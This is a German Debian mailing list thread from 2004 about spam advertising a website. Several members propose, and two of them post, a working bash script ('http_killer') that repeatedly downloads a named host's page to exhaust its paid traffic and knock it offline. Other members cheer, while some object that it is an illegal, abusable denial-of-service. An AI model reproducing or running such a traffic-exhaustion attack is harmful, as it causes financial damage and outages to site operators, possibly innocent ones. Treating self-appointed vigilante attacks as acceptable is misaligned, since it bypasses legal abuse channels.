-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Montag, 22. März 2004 01:28 schrieb Jan Trippler: Hier gehts nur um Spam, welcher eine Webseite bewirbt. Möglicherweise, falls derselbe Spammer mehrere Webseiten hat, und nach Traffic mit ihm abgerechnet wird, bekommen wir irgendwann keinen Spam mehr von diesem. Es wird in den Mails geworben, das man diese Site abrufen soll, und genau das macht das Script. Es verursacht einen handfesten finanziellen Schaden (woher weisst Du, dass der SPAM immer tatsächlich von der beworbenen Webseite gewünscht ist?) und ist IMHO (IANAL) strafbar. Wie würde es Dir gefallen, wenn morgen ein Spammer aus Rache zur Abwechslung mal _Deine_ Seite bewirbt? DOS-Angriffe auf missliebige Seiten haben sie ja schon seit längerem im Programm. Erstens, wird bei mir auch ein Schaden verursacht. Und Zweitens, ist ein DOS etwas anderes. Die Site wurde mittlerweile vom Netz genommen, da der Traffic zu hoch war, nicht weil der Server überlastet war. Das Script ruft eben nicht die Informationen ab, sondern verursacht ausschliesslich dummen, nutzlosen Traffic - es geht ja nicht um die Informationen (oder hab ich den Befehl rm falsch verstanden?). Hat irgendjemand gesagt, das die Informationen auch ausgewertet werden? Versteh mich nicht falsch: Ich mag SPAM genauso wenig wie die meisten hier, aber mit solchen Aktionen richtet man IMHO mehr Schaden an als die SPAM-Versender. Stoppen wirst Du die Spammer damit nicht. Wieso richte ich mehr Schaden an? Der Traffic der Website wird bezahlt, der Traffic, den das Versenden des SPAMs erzeugt nicht. Der einzige Schaden ist, wenn überhaupt welcher entstehen sollte beim Spammer, und da kannst du nicht wirklich etwas dagegen haben. Habt Ihr Euch mal überlegt, dass evtl. der Nächste mit Eurem ach so geilen Script (bei dem sich mir stellenweise die Haare sträuben) irgendjemanden, dessen Webauftritt oder Nase ihm gerade nicht passt, massiv finanziell schädigt? Ich greife Leute an, die Programme / Scripts _ausschließlich_ zu dem Zweck schreiben, anderen zu schaden. Und Euer Scriptchen hat keinerlei nützliche Funktion. Nein du sagst, das jemand das Script auch dafür Nutzen könnte. Und das trifft auf Sniffer und ähnliches auch zu. btw. Meckern kann jeder, zeig uns lieber was du besser machen würdest. Und sag jetzt nicht, das du keine Viren oder Würmer oder sonstwas Lehrgänge geben willst, oder dich vielleicht auf juristisch dünnes Eis begibst. Wer A sagt, muss auch B sagen. Nein, genau das werde ich nicht. Ich vergeude meine Zeit nicht mit solchem Unfug. Ich sage A: ich finde die Methode Sch... und ich sage B: Ich werde das nicht auch noch unterstützen. Falsch, du sagst A: da gibts bessere Methoden, und B: ich sag euch nicht welche. Errinert mich irgendwie an den Kindergarten. Werdet erwachsen! Definiere bitte genauer. Noch genauer? Erwachsen ist nicht definiert. Manche sagen man ist erwachsen wenn man sein eigenes Haus hat, einen Job und ein Kind. Andere sagen dasselbe, man darf aber nichts geerbt haben um das Haus zu bauen. Wieder anderer sagen ab 18 bist du automatisch erwachsen. Und wieder andere sagen man darf keine Cartoons gucken. Was hältst du für erwachsen? - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAXooW1jkT71DQrmARAvntAJ9x/1NssVHKiySAD2Umu1VrcMsiIQCfY6KR bIY1W80in/ElyQWuuzCdGz8= =bOK4 -END PGP SIGNATURE-
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Sonntag, 21. März 2004 22:22 schrieb Jan Christoph Ebersach: Werner Mahr wrote: | Gegenvorschläge? Ausser wget [...] -o /dev/null Gegenvorschlag Named Pipe: Ist zumindest ein Vorschlag, ich kenne mich mit np's zwar nicht aus, aber ich dachte immer, das das was am Ende rauskommt, auch irgendwo hin muss. ~for j in $(wc -c ~/tmp/pipe) ; do ~ let byte=$byte+$j; ~ let kbyte=$byte/1024; ~ let mbyte=$kbyte/1024; ~ break; # grausam, aber sauber ~done Bleiben die Daten in der pipe, oder wandern die irgendwann nach /dev/null? Falls sie drin bleiben wird falsch gerechnet. Wo liegt der Vorteil in deiner Version (angenommen das Script wäre wget - -o /dev/null)? - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAXouV1jkT71DQrmARAiBaAJsETZFJr5230E88ZOOBiEEmHBli9ACgjy4/ IA6A+7nYx3uds9CfVZmeHQ4= =QGP7 -END PGP SIGNATURE-
Re: Regestrierung
Hallo, Namensvetter ;-) sage B: Ich werde das nicht auch noch untersttzen. Wenn Du wissen willst, was ich ntzlich finde: siehe Signatur. Zu dem vorher gesagten: ACK! Immerhin sind Programme wie nmap doch recht nuetzlich, wenn es darum geht, Sicherheitsluecken zu finden. Was das bekaempfen von Spam mittels DOS auf Webserver angeht, das funktioniert nur eine Weile lang - solange bis der Spammer Gegenmassnahmen wie Begrenzungen etc. einleitet. Oder sich der Provider des Spammers auf die Fuesse getreten fuehlt, weil gleichzeitig einige hundert 'vernuenftiger' Webseiten auch ausfallen. Wirksame Mittel gegen Spam sind brauchbare Filter: mein Provider fuer meine Domain stellt mir (und allen anderen) seine Rechenleistung auf dem Webserver fuer Spamassassin und ein paar andere Filter _kostenlos_ zur Verfuegung und geht auch gegen Spammer vor. Und was die dort abfangen ist heftig :-) (moechte auch nicht wissen, was hier von der ML runtergefiltert wird, gibt's dazu eigentlich Statistiken?) Zu dem was Du nuetzlich findest: Danke! Etwas wie du-tree hab ich schon gesucht und nun per Zufall gefunden - echt klasse! Viele Gruesse und eine schoene neue Woche! Jan -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
On Fri, 2004-03-12 at 20:20, Werner Mahr wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Freitag, 12. März 2004 17:21 schrieb Michelle Konzack: Die Datei ist 54961 Bytes groß und ich habe sie bereits 100.000 mal runtergeladen. habe meine Kiste so eingestellt, wenn ich keine Traffic habe, das er die Datei runterläd in in /dev/null abspeichert. Kannst du das Script hier mal posten, es gibt mindestens noch einen der das auch vorhat, aber nicht weiß wie. ROTF-LOL. Bin dabei! Her damit. G Lars - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAUg101jkT71DQrmARAod9AJwP/xd1AbzvbTaaXRCjO5FAjxViwgCfepB9 UFJBcq4qSskmRdosMTdywqw= =FTAL -END PGP SIGNATURE- -- LarsWeissflog [EMAIL PROTECTED] dot DE
Re: Regestrierung
Herzlichen Glückwunsch, Michelle hat es offenbar schon geschafft den lahm zu legen. Seite gesperrt. Gut gemacht. G Lars. PS: für die Zukunft hätte ich das script trotzdem gern, kommt ja sicher mal wieder vor. On Fri, 2004-03-12 at 17:21, Michelle Konzack wrote: Am 2004-03-12 14:05:36, schrieb Thomas Letzner: Herzlichen Glückwunsch ! Ihre Regestrierung auf www.ianta-ki.de war erfolgreich . Benützername = Sabine Passwort = 28142678 Sie können sich ab sofort mit den daten unter www.ianta-ki.de einlggen ! Hab ich irgendwas verpasst?? Eigentlich nicht. Wenn Du da drauf gehst wirste auf nen anderen Server http://www.beepworls.de/members15/ianta/ redirekted Würde mich nur interesssieren, wieviele GBytes man runterladen muß damit der Accont des Spammers dicht gemacht wird... Die Datei ist 54961 Bytes groß und ich habe sie bereits 100.000 mal runtergeladen. habe meine Kiste so eingestellt, wenn ich keine Traffic habe, das er die Datei runterläd in in /dev/null abspeichert. Ihr [EMAIL PROTECTED] Greetings Michelle -- Registered Linux-User #280138 with the Linux Counter, http://counter.li.org/ -- LarsWeissflog [EMAIL PROTECTED] dot DE
Re: Regestrierung
Hallo Lars, Am 2004-03-20 11:39:47, schrieb Lars Weissflog: Herzlichen Glückwunsch, Michelle hat es offenbar schon geschafft den lahm zu legen. Seite gesperrt. Gut gemacht. Sind mittlerweile an die 140 Domains auf meiner Liste... G Lars. PS: für die Zukunft hätte ich das script trotzdem gern, kommt ja sicher mal wieder vor. Kriegste per PM Das ist übrigends die E-mail von inode.at: stdin ___ / | Subject: [Tkt #1005153] (office-wien) FW by [EMAIL PROTECTED] : Regestrierung | From: Reinhold Friedl via RT [EMAIL PROTECTED] | To: [EMAIL PROTECTED] | Date: Mon, 15 Mar 2004 03:25:52 +0100 | X-Warning: rt.inode.at is listed at abuse.rfc-ignorant.org | | Sehr geehrte Frau Michelle Konzack | | Wir haben unseren Kunden diesbezüglich informiert. | | Mit freundlichen Grüssen, | | Friedl Reinhold | | inode Abuse Department | | | [EMAIL PROTECTED] wrote (Mon, Mar 15 2004 01:22:06): | | Sehr geehrter Herr Augustin, | | ich habe ihren Kontakt über eine WHOIS Anfrage bekommen und Sie | hiermit angeschrieben, weil sie keine abuse@ haben... | | Mehrere Dutzend Mailinglisten und meine eigene E-Mail werden von | einem ihrer Kunden permanent gespammt. Sprich, ich habe nun über | 95 dieser Mails erhalten. | | Ich bitte Sie hiermit, ihrem Kunden wegen fortgeseztem SPAMings | den Account zu sperren. | | Mit freundlichen Grüßen | Michelle Konzack | SystemAdministratorin | CyberCenter Strasbourg | | | -- | Inode Telekommunikationsdienstleistungs GmbH - http://www.inode.at/ | Tel.: 05-0 Fax.: 05 6699 | | Buero Wien - Millennium Tower Handelskai 94-96/43 - A-1200 Wien | Buero Graz - Schmiedlstrasse 1- A-8042 Graz | Buero Linz - Wienerstrasse 131- A-4020 Linz | Buero Sbg - Schillerstrasse 30- A-5020 Salzburg | Buero Ibk - Eduard Bodem Gasse 5-7 - A-6020 Innsbruck | | Managed by Request Tracker \__ Interessant ist, das rt.inode.at auf abuse.rfc-ignorant.org registriert ist un dtrotzdem innerhalb von kürzester zeit reagierte... Grüße und schönes Wochenende Michelle -- Registered Linux-User #280138 with the Linux Counter, http://counter.li.org/ -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
Hallo Lars, Am Freitag, 12. März 2004 17:21 schrieb Michelle Konzack: Die Datei ist 54961 Bytes groß und ich habe sie bereits 100.000 mal runtergeladen. habe meine Kiste so eingestellt, wenn ich keine Traffic habe, das er die Datei runterläd in in /dev/null abspeichert. Kannst du das Script hier mal posten, es gibt mindestens noch einen der das auch vorhat, aber nicht weiß wie. ROTF-LOL. Bin dabei! Her damit. Auchhabenwollen;-) ciao, Dirk Mailantworten bitte an dsalva AT nutrimatic.ping.de Antworten an andere im Header stehende Adressen koennen verlorengehen! -- | Akkuschrauber-Kaufberatung and AEG-GSM-stuff | | Visit my homepage: http://www.nutrimatic.ping.de/ | | FIDO: Dirk Salva 2:244/6305.10 Internet: dsalvaATgmx.de | |The Ruhrgebiet, best place to live in Germany! | -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Samstag, 20. März 2004 11:36 schrieb Lars Weissflog: Kannst du das Script hier mal posten, es gibt mindestens noch einen der das auch vorhat, aber nicht weiß wie. ROTF-LOL. Bin dabei! Her damit. Jetzt mal für alle, weil per PM kommen in einem halben Jahr noch Anfragen. Kleine Frage an Michelle: Das ist ja Open Source, oder? /home/michelle/bin/http_killer.exe ___ / | #!/bin/bash | #Ergänzungen von Werner Mahr | | PID=$$ | echo $PID ~/log/http_killer.pid | | let Bytes=0 | while [ 1 -lt 2 ]; do | #wget -P ~/tmp/http_killer/ http://www.ianta-ki.de/ | wget -q -P ~/tmp/http_killer http://www.beepworld.de/members15/ianta/ | rm -f ~/tmp/http_killer/* | let Bytes=Bytes+54961 | let MBytes=Bytes/1024/1024 | echo $i ($MBytes MByte) | # echo $i ($MBytes MByte) ~/log/http_killer.log | if [ ! -f ~/log/http_killer.pid ] ; then exit 0 ; fi | done \___ Starten mit: http_killer.exe Zum beenden einfach ~/log/http_killer.pid löschen, oder kill `cat ~/log/http_killer.pid` ausführen. - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAXJ6L1jkT71DQrmARAnXSAJ4+4Gp8zTrawhhOy9ZEBGADiS9KAACfUgLc 16DSvreug3j0AjTjIfZCRv4= =40Y1 -END PGP SIGNATURE-
Re: Regestrierung
Aufgrund der regen Nachfrage wie man Server plattmacht angeheftet das Script. Ich starte das Script immer mit http_killer und lasse es im Hintergrund laufen. Meine 512/128kBit ADSL wird nicht alzusehr belastet und ich kann noch angenehm surfen auch wenn das Script ein paar tage durchläuft ;-) Zum gewaltsamen stopen verwende ich kill `cat ~/tmp/http_killer.pid` Bei einem normalen Abbruch wir auch die PID-File und das Temporäre Verzeichnis sauber entfernt. Sollte gekillt werden, gibt es beim nächsten Start eine Fehlermeldung. Zum lesen der LOG onliene, verwende ich: tail -f -n 24 ~/log/http_killer.log Grüße und schönes Wochenende Michelle -- Registered Linux-User #280138 with the Linux Counter, http://counter.li.org/ #!/bin/bash PID=$$ clear echo http_killer.exe scripted by Michelle Konzack [EMAIL PROTECTED] echo echo This Script is under GPL Licence v2 or higher. echo Use it as you like, modifie and enhance or learn from it. echo # Create USER directorys if not exist if [ ! -d ~/log ] ; then mkdir ~/log ; fi if [ ! -d ~/tmp ] ; then mkdir ~/tmp ; fi # Create the temporary download directory # It will removed after $0 has done its job if [ ! -d ~/tmp/http_killer ] ; then mkdir ~/tmp/http_killer ; fi # Check, weter $0 is already running ore not if [ -f ~/log/http_killer.pid ] ; then echo There is already a running instance of \http_killer.exe\. If you have echo killed \http_killer.exe\ with its PID, please delete the PID-File manualy echo and start \http_killer.exe\ again. echo echo Please romove following directory: ~/tmp/http_killer/ echo and the files: ~/tmp/http_killer.pid echo ~/log/http_killer.log echo exit 0 fi # make the new PIF file echo $PID ~/log/http_killer.pid # USER-AGENT String of your choice # It will apear in the LOG-Files of the attacked Web-Server ;-) UA='--user-agent=Do not SPAM us !' let kBytes=0 # Downloads the HTML-Page as numbered in sequenz for i in `seq 1 10` ; do # Originalseite die Weitergeleitet wird # wget -P ~/tmp/http_killer/ http://www.ianta-ki.de/ wget -q $UA -P ~/tmp/http_killer http://www.beepworld.de/members15/ianta/ # remove the file immediatly because we do not like # to have the file million times on our system rm -f ~/tmp/http_killer/* let kBytes=kBytes+54 let MBytes=kBytes/1024 # Write the curent count into a Logfile for viewing with tail # # tail -f -n 24 ~/log/http_killer.log # echo $i ($MBytes MByte) ~/log/http_killer.log done # Uff, our job is done ! remove the PIF-File rm ~/log/http_killer.pid rm -rf ~/tmp/http_killer
Re: Regestrierung
Am Samstag, 20. März 2004 21:16 schrieb Michelle Konzack: Aufgrund der regen Nachfrage wie man Server plattmacht angeheftet das Script. [...] Was soll diese Scheiße? Gibts noch nicht genug Würmer, Backdoors, DDoS, SPAM, Replys von ach so tollen Virenscannern und anderen Mist? Müsst Ihr unbedingt für weiteren sinnlosen Traffic sorgen? Ich finde sowas ehrlich gesagt allerunterste Schublade! Cool - lass uns mal nen Server plattmachen - schreibt Ihr demnächst auch Würmer mit Backdoor, damit Ihr so richtig effektiv nen DDoS starten könnt? Habt Ihr Euch mal überlegt, dass evtl. der Nächste mit Eurem ach so geilen Script (bei dem sich mir stellenweise die Haare sträuben) irgendjemanden, dessen Webauftritt oder Nase ihm gerade nicht passt, massiv finanziell schädigt? An welcher Stelle ist Euer Gewissen auf der Strecke geblieben? Ist das Script-Kiddie-Dasein so befriedigend für Euer Ego? Werdet erwachsen! SCNR Jan P.S.: Es heißt Registrierung
Re: Regestrierung
Michelle Konzack [EMAIL PROTECTED] writes: Aufgrund der regen Nachfrage wie man Server plattmacht Darf ich mal Deine Homepage bewerben? Sowas ist eklig. angeheftet das Script. Aua. Und mit rm wieder alles gelöscht. Sehr 'geschickt' -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Samstag, 20. März 2004 22:42 schrieb Jan Trippler: Was soll diese Scheiße? Gibts noch nicht genug Würmer, Backdoors, DDoS, SPAM, Replys von ach so tollen Virenscannern und anderen Mist? Müsst Ihr unbedingt für weiteren sinnlosen Traffic sorgen? Ich finde sowas ehrlich gesagt allerunterste Schublade! Hier gehts nur um Spam, welcher eine Webseite bewirbt. Möglicherweise, falls derselbe Spammer mehrere Webseiten hat, und nach Traffic mit ihm abgerechnet wird, bekommen wir irgendwann keinen Spam mehr von diesem. Es wird in den Mails geworben, das man diese Site abrufen soll, und genau das macht das Script. Habt Ihr Euch mal überlegt, dass evtl. der Nächste mit Eurem ach so geilen Script (bei dem sich mir stellenweise die Haare sträuben) irgendjemanden, dessen Webauftritt oder Nase ihm gerade nicht passt, massiv finanziell schädigt? An welcher Stelle ist Euer Gewissen auf der Strecke geblieben? Ist das Script-Kiddie-Dasein so befriedigend für Euer Ego? Kämm dir die Haare und sieh es mal anders. Greifst du die Leute, welche Portscanner schreiben an? Wie wäre es mal mit den Leuten die Sniffer schreiben, damit kann man nämlich Passwörter bekommen. Das Scipt ist vielleicht nicht nach allen Regeln der Kunst verfasst, aber es erfüllt seinen Zweck. Für ein Spontanes Script ist es auch Recht gut gelungen, und auch recht verständlich. btw. Meckern kann jeder, zeig uns lieber was du besser machen würdest. Und sag jetzt nicht, das du keine Viren oder Würmer oder sonstwas Lehrgänge geben willst, oder dich vielleicht auf juristisch dünnes Eis begibst. Wer A sagt, muss auch B sagen. Werdet erwachsen! Definiere bitte genauer. P.S.: Es heißt Registrierung Das musst du den Spamversender fragen. Nur weil uns das Subject nicht gefällt, oder weil es einen Fehler hat, ändern wir es noch lange nicht. - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAXQvE1jkT71DQrmARAoCGAKCkWaEErQhx+OlUahVn9CnnS9sdogCfbBjf kYHAsFz+WklOswKFtcrYTbg= =V8sc -END PGP SIGNATURE-
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Samstag, 20. März 2004 22:52 schrieb Sebastian Niehaus: Aua. Und mit rm wieder alles gelöscht. Sehr 'geschickt' Gegenvorschläge? Ausser wget [...] -o /dev/null - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAXQwk1jkT71DQrmARApECAJ42TN8t9XXWOBY0+aop6XNsbIVEUQCbBLiy DDdBaXYv2R6FiHzGrmeaY1I= =8nNP -END PGP SIGNATURE-
Regestrierung
Herzlichen Glückwunsch ! Ihre Regestrierung auf www.ianta-ki.de war erfolgreich . Benützername = Sabine Passwort = 28142678 Sie können sich ab sofort mit den daten unter www.ianta-ki.de einlggen ! Ihr [EMAIL PROTECTED] -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
AW: Regestrierung
Herzlichen Glückwunsch ! Ihre Regestrierung auf www.ianta-ki.de war erfolgreich . Benützername = Sabine Passwort = 28142678 Sie können sich ab sofort mit den daten unter www.ianta-ki.de einlggen ! Hab ich irgendwas verpasst?? Ihr [EMAIL PROTECTED] -- -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
[EMAIL PROTECTED] schrieb: Herzlichen Glückwunsch ! ... Wäre es nicht besser nur angemeldeten Usern Schreibrechte zu geben? Oder gibt es dann Probleme mit den News Gateways? (Ich gehe mal davon aus, daß [EMAIL PROTECTED] kein gelisteter User dieser Liste ist) -- Bye, Patrick Cornelissen http://www.p-c-software.de http://www.pnCommerce.de -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
Am 2004-03-12 14:05:36, schrieb Thomas Letzner: Herzlichen Glückwunsch ! Ihre Regestrierung auf www.ianta-ki.de war erfolgreich . Benützername = Sabine Passwort = 28142678 Sie können sich ab sofort mit den daten unter www.ianta-ki.de einlggen ! Hab ich irgendwas verpasst?? Eigentlich nicht. Wenn Du da drauf gehst wirste auf nen anderen Server http://www.beepworls.de/members15/ianta/ redirekted Würde mich nur interesssieren, wieviele GBytes man runterladen muß damit der Accont des Spammers dicht gemacht wird... Die Datei ist 54961 Bytes groß und ich habe sie bereits 100.000 mal runtergeladen. habe meine Kiste so eingestellt, wenn ich keine Traffic habe, das er die Datei runterläd in in /dev/null abspeichert. Ihr [EMAIL PROTECTED] Greetings Michelle -- Registered Linux-User #280138 with the Linux Counter, http://counter.li.org/ -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Freitag, 12. März 2004 17:21 schrieb Michelle Konzack: Die Datei ist 54961 Bytes groß und ich habe sie bereits 100.000 mal runtergeladen. habe meine Kiste so eingestellt, wenn ich keine Traffic habe, das er die Datei runterläd in in /dev/null abspeichert. Kannst du das Script hier mal posten, es gibt mindestens noch einen der das auch vorhat, aber nicht weiß wie. - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAUg101jkT71DQrmARAod9AJwP/xd1AbzvbTaaXRCjO5FAjxViwgCfepB9 UFJBcq4qSskmRdosMTdywqw= =FTAL -END PGP SIGNATURE- -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Regestrierung
Herzlichen Glückwunsch ! Ihre Regestrierung auf www.ianta-ki.de war Erfolgreich ! Benützername : Amander Passwort : 8274148 Sie können sich ab sofort unter www.ianta-ki.de mit ihren Daten einloggen . Mit Freundlichen Grüssen [EMAIL PROTECTED] -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
[OT] Re: Regestrierung
On Tue, Mar 09, 2004 at 11:16:25PM +0100, [EMAIL PROTECTED] wrote: Herzlichen Glückwunsch ! Ihre Regestrierung auf www.ianta-ki.de war Erfolgreich ! Benützername : Amander Passwort : 8274148 Sie können sich ab sofort unter www.ianta-ki.de mit ihren Daten einloggen . Mit Freundlichen Grüssen [EMAIL PROTECTED] Hey das koennte man als Test fuer einen deutschen Spellchecker benutzen. SCNR Henning -- Henning Follmann | [EMAIL PROTECTED] it consultant | www.itcfollmann.com -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: [OT] Re: Regestrierung
On Tue, Mar 09, 2004 at 11:06:16AM -0500, Henning Follmann wrote: [...] Hey das koennte man als Test fuer einen deutschen Spellchecker benutzen. Nee, das kommt schliesslich aus Oesterreich ... ;-) --hgb -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
